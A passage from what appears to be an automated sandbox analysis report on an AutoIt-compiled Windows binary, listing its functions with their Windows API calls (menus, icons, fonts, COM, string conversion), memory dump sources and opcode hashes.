                                      • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00943927
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$Window_wcslen
                                      • String ID: SysListView32
                                      • API String ID: 2147712094-78025650
                                      • Opcode ID: bedac048181add99fd5141c4905adc5c7f847b384152b4f4809d09b22d640a8f
                                      • Instruction ID: 951b93962f408ce69893bece5c57310a4cf3df1ee996eb4903a3f0bf240a969e
                                      • Opcode Fuzzy Hash: bedac048181add99fd5141c4905adc5c7f847b384152b4f4809d09b22d640a8f
                                      • Instruction Fuzzy Hash: 0C41B371A10319ABDF219F64CC45FEA7BA9FF48350F104526F948E7281D7759E808B90
                                      Function 0091BB7C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0091BC1B
                                      • IsMenu.USER32(00000000), ref: 0091BC3B
                                      • CreatePopupMenu.USER32 ref: 0091BC71
                                      • GetMenuItemCount.USER32(00BB2260), ref: 0091BCC2
                                      • InsertMenuItemW.USER32(00BB2260,?,00000001,00000030), ref: 0091BCEA
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Menu$Item$CountCreateInfoInsertPopup
                                      • String ID: 0$2
                                      • API String ID: 93392585-3793063076
                                      • Opcode ID: 567fde0b66e939c392ec6bba64c8bf5deb04e95d709d7c7366e99664c3d00235
                                      • Instruction ID: 2a922455fef37f77b51538212548ea2c1c45ebac8a4ed53437aad03ad0890146
                                      • Opcode Fuzzy Hash: 567fde0b66e939c392ec6bba64c8bf5deb04e95d709d7c7366e99664c3d00235
                                      • Instruction Fuzzy Hash: 6551ADB470420D9BDF24CF68D984BEEBBEAAF45314F204119E84597291EB719980CBA1
                                      Function 0091C792 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadIconW.USER32(00000000,00007F03), ref: 0091C831
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: IconLoad
                                      • String ID: blank$info$question$stop$warning
                                      • API String ID: 2457776203-404129466
                                      • Opcode ID: bc55db3b46025b8c0a66925ef5fbfc1078d27cca7cc17ff548e0956cfb5d9539
                                      • Instruction ID: fd80824519d267a9fe414423736f02fd3eebcbf9c2e34542c789f6ae594d311c
                                      • Opcode Fuzzy Hash: bc55db3b46025b8c0a66925ef5fbfc1078d27cca7cc17ff548e0956cfb5d9539
                                      • Instruction Fuzzy Hash: AC1108B278830A7BE7045A549CD2DEA67ECEF15368F20407AF904E6381E7B4A9804569
                                      Function 0091EC37 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$LocalTime
                                      • String ID:
                                      • API String ID: 952045576-0
                                      • Opcode ID: 3ff75eba1852603fae368230bf00d83eb7ce1577cf73e125ea57eaf5f0abee80
                                      • Instruction ID: 941cc17537c8c22fef1676af636edda760c9a7826a778236d1c4c7c4c6369a08
                                      • Opcode Fuzzy Hash: 3ff75eba1852603fae368230bf00d83eb7ce1577cf73e125ea57eaf5f0abee80
                                      • Instruction Fuzzy Hash: 5E4171A9D1021876CB11EBF88C4A9CFB7ACFF05300F508563E914E3262FA34E655C7A6
                                      Function 008CEEF7 Relevance: 12.1, APIs: 8, Instructions: 124COMMON
                                      Download Yara Rule
                                      APIs
                                      • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0090EEDF,00000004,00000000,00000000), ref: 008CEF72
                                      • ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0090EEDF,00000004,00000000,00000000), ref: 0090F0EE
                                      • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0090EEDF,00000004,00000000,00000000), ref: 0090F171
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ShowWindow
                                      • String ID:
                                      • API String ID: 1268545403-0
                                      • Opcode ID: 081673650ff2263faa116a0ff4db25120c2ed66b2d6286a99edfee95a6e603f0
                                      • Instruction ID: 0128ee1886f4c915b889b42c2d3008687163e3ec0d5e46e25cdb3d7ab5309f20
                                      • Opcode Fuzzy Hash: 081673650ff2263faa116a0ff4db25120c2ed66b2d6286a99edfee95a6e603f0
                                      • Instruction Fuzzy Hash: BE41F93522C644EFC7798B28D898F2A3BB6FB47310F14845CE046C6EA1CA76E980DB11
                                      Function 00942C36 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • DeleteObject.GDI32(00000000), ref: 00942C4E
                                      • GetDC.USER32(00000000), ref: 00942C56
                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00942C61
                                      • ReleaseDC.USER32(00000000,00000000), ref: 00942C6D
                                      • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00942CA9
                                      • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00942CBA
                                      • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0094599A,?,?,000000FF,00000000,?,000000FF,?), ref: 00942CF5
                                      • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00942D14
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                      • String ID:
                                      • API String ID: 3864802216-0
                                      • Opcode ID: cbd9c8af1c9103474dd1d7012481f59684fdad0d7c3caa8001e3d83321672816
                                      • Instruction ID: c5abaf0b93677c9363ae03eb3950eb4b06e03dd5791c0c64cfc233f182e291e1
                                      • Opcode Fuzzy Hash: cbd9c8af1c9103474dd1d7012481f59684fdad0d7c3caa8001e3d83321672816
                                      • Instruction Fuzzy Hash: B7319C76216214BFEB218F10CC89FFB3BADFF0A715F044055FE089A291D6759841CBA4
                                      Function 00915578 Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _memcmp
                                      • String ID:
                                      • API String ID: 2931989736-0
                                      • Opcode ID: 71ca89122c361c2f7548fee1758a329920f9eafc01af128c36b4deb782faa7e8
                                      • Instruction ID: 3cf30bf52cf774b250b53fca002687f02ec2d9d6dc3910b603d26a5901bbc130
                                      • Opcode Fuzzy Hash: 71ca89122c361c2f7548fee1758a329920f9eafc01af128c36b4deb782faa7e8
                                      • Instruction Fuzzy Hash: E021C861741A0EFBD60466159D92FEF236EEEC2398F974021FD0496742E728EE50C6E1
                                      Function 00934ED5 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: NULL Pointer assignment$Not an Object type
                                      • API String ID: 0-572801152
                                      • Opcode ID: 4f6fc1bc1e34a28414ebb0095e225e01e9cc36471fb083d0b43f7fff956d990c
                                      • Instruction ID: f40139da05987d79c3c0d868cefdb8283897499ce8165f9da3429158d109d8f9
                                      • Opcode Fuzzy Hash: 4f6fc1bc1e34a28414ebb0095e225e01e9cc36471fb083d0b43f7fff956d990c
                                      • Instruction Fuzzy Hash: 2BD1A075A0060A9FDF14CF98C881FAEB7B9BF88304F158569E915AB281E771ED41CF90
                                      Function 008F14C2 Relevance: 10.8, APIs: 7, Instructions: 268COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCPInfo.KERNEL32(?,?), ref: 008F156E
                                      • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 008F15F1
                                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 008F1684
                                      • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 008F169B
                                        • Part of subcall function 008E37B0: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 008E37E2
                                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 008F1717
                                      • __freea.LIBCMT ref: 008F1742
                                      • __freea.LIBCMT ref: 008F174E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
                                      • String ID:
                                      • API String ID: 2829977744-0
                                      • Opcode ID: 80e566f086a0e12b3f98c9138faaa4aae5205e1cfb200d4deff6d2f98ebd9348
                                      • Instruction ID: f39d2a84d85bf6951312ea6c5d552512caa4095936755069a60cb4f75fe9f731
                                      • Opcode Fuzzy Hash: 80e566f086a0e12b3f98c9138faaa4aae5205e1cfb200d4deff6d2f98ebd9348
                                      • Instruction Fuzzy Hash: AA91B272E0021EDADF209EB9C889EFEBBA5FB49754F184119EA06E7141DB35DC40CB60
                                      Function 0093444A Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Variant$ClearInit
                                      • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                      • API String ID: 2610073882-625585964
                                      • Opcode ID: 4e88dedc8606d4e480726ced3c572c5bfeb970240cc5c9064bc83e34629b6eeb
                                      • Instruction ID: 007f03c948597d1237829c85d7da55c563f121cb73774a85af591bc4eb7ebdac
                                      • Opcode Fuzzy Hash: 4e88dedc8606d4e480726ced3c572c5bfeb970240cc5c9064bc83e34629b6eeb
                                      • Instruction Fuzzy Hash: 08919371A00219AFDF20CFA4CC49FAEBBB8EF45718F118569F515AB280D774A945CFA0
                                      Function 008CA910 Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ObjectSelect$BeginCreatePath
                                      • String ID:
                                      • API String ID: 3225163088-0
                                      • Opcode ID: 37e6535720b163d628d1ad1f20f8b2acb41fb0d5915b26f6d94095760764460a
                                      • Instruction ID: f48615da007c9eb42beeae26caa0ffb60622958da4ed098790b0471b042373cf
                                      • Opcode Fuzzy Hash: 37e6535720b163d628d1ad1f20f8b2acb41fb0d5915b26f6d94095760764460a
                                      • Instruction Fuzzy Hash: 81913371D40219AFCB14CFA9CC85EEEBBB8FF49324F248459E512B7291D378A941CB61
                                      Function 009210A5 Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                      Download Yara Rule
                                      APIs
                                      • SafeArrayGetVartype.OLEAUT32(?,?), ref: 0092117A
                                      • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 009211A2
                                      • SafeArrayUnaccessData.OLEAUT32(?), ref: 009211C6
                                      • SafeArrayAccessData.OLEAUT32(?,?), ref: 009211F6
                                      • SafeArrayAccessData.OLEAUT32(?,?), ref: 0092127D
                                      • SafeArrayAccessData.OLEAUT32(?,?), ref: 009212E2
                                      • SafeArrayAccessData.OLEAUT32(?,?), ref: 0092134E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ArraySafe$Data$Access$UnaccessVartype
                                      • String ID:
                                      • API String ID: 2550207440-0
                                      • Opcode ID: fe8a650abab535df619c837f8ff1da0a8b5b7ab8656bb9c80b1fde5fddd087f8
                                      • Instruction ID: dae42b8d12b1fe792deac4f4e5bae7bdcb8d24e6970f024a077bb3d8a5743a30
                                      • Opcode Fuzzy Hash: fe8a650abab535df619c837f8ff1da0a8b5b7ab8656bb9c80b1fde5fddd087f8
                                      • Instruction Fuzzy Hash: 1991E275A00229EFDB00DF98E884BBE77B9FF55310F104429EA01E72A6D774A961CB91
                                      Function 0093386E Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON
                                      Download Yara Rule
                                      APIs
                                      • VariantInit.OLEAUT32(?), ref: 00933892
                                      • CharUpperBuffW.USER32(?,?), ref: 009339A1
                                      • _wcslen.LIBCMT ref: 009339B1
                                      • VariantClear.OLEAUT32(?), ref: 00933B46
                                        • Part of subcall function 00920BFD: VariantInit.OLEAUT32(00000000), ref: 00920C3D
                                        • Part of subcall function 00920BFD: VariantCopy.OLEAUT32(?,?), ref: 00920C46
                                        • Part of subcall function 00920BFD: VariantClear.OLEAUT32(?), ref: 00920C52
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
                                      • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                      • API String ID: 4137639002-1221869570
                                      • Opcode ID: 2e70e66572682c7b45b7d5bb6b842516abf91478abcb33367ef763b308d1bae4
                                      • Instruction ID: fd7157869a742bdcd58056b8427a7f79e4d4afa68f1629eed810334a53c8df33
                                      • Opcode Fuzzy Hash: 2e70e66572682c7b45b7d5bb6b842516abf91478abcb33367ef763b308d1bae4
                                      • Instruction Fuzzy Hash: 16912275608341DFCB10DF68C491A6AB7E9FB89314F14892EF88A87351DB71EA45CF82
                                      Function 00934AD4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0090FEF7: CLSIDFromProgID.COMBASE ref: 0090FF14
                                        • Part of subcall function 0090FEF7: ProgIDFromCLSID.COMBASE(?,00000000), ref: 0090FF2F
                                        • Part of subcall function 0090FEF7: lstrcmpiW.KERNEL32(?,00000000,?,?,?,?,?,?,?,-C000001E,00000001,?,0090FE2A,80070057), ref: 0090FF3D
                                        • Part of subcall function 0090FEF7: CoTaskMemFree.COMBASE(00000000), ref: 0090FF4D
                                      • CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00934B78
                                      • _wcslen.LIBCMT ref: 00934C80
                                      • CoCreateInstanceEx.COMBASE(?,00000000,00000015,?,00000001,?), ref: 00934CF6
                                      • CoTaskMemFree.COMBASE(?), ref: 00934D01
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
                                      • String ID: NULL Pointer assignment
                                      • API String ID: 614568839-2785691316
                                      • Opcode ID: ad2a691d32be10983f1809dfbdd3f7a7b413fc4d5ac945c1e30b6cdd00be9118
                                      • Instruction ID: f3a11d2594d6f1110f063e31329508e7076476fd1c58daf5d040fb7008662aa6
                                      • Opcode Fuzzy Hash: ad2a691d32be10983f1809dfbdd3f7a7b413fc4d5ac945c1e30b6cdd00be9118
                                      • Instruction Fuzzy Hash: 10910771D0121D9FDF10DFA8C891AEEB7B9FF08300F104569E925A7291DB70AA44CF61
                                      Function 00942030 Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetMenu.USER32(?), ref: 009420B6
                                      • GetMenuItemCount.USER32(00000000), ref: 009420E8
                                      • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00942110
                                      • _wcslen.LIBCMT ref: 00942146
                                      • GetMenuItemID.USER32(?,?), ref: 00942180
                                      • GetSubMenu.USER32(?,?), ref: 0094218E
                                        • Part of subcall function 00913985: GetWindowThreadProcessId.USER32(?,00000000), ref: 0091399F
                                        • Part of subcall function 00913985: GetCurrentThreadId.KERNEL32 ref: 009139A6
                                        • Part of subcall function 00913985: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009124F7), ref: 009139AD
                                      • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00942216
                                        • Part of subcall function 0091E899: Sleep.KERNEL32 ref: 0091E911
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
